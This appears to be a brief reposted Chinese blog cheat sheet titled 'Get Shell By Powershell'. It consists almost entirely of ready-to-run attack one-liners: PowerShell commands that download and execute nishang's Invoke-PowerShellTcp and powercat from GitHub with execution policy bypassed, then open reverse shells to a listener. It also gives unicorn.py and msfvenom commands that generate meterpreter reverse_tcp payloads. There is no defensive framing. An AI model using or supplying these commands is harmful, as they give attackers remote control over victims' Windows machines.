Get Shell By Powershell

Invoke-PowerShellTcp.ps1

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 监听主机 ip -Port 9999”

powercat.ps1

powershell -nop -exec bypass -c “IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’);powercat -c 监听主机 ip -p 9999 -e cmd.exe”

unicorn.py

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443

MSF

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxx -f psh-reflection> shell.ps1

生成快捷方式 shell 的 Powershell 脚本

文章来源于：lsh4ck’s Blog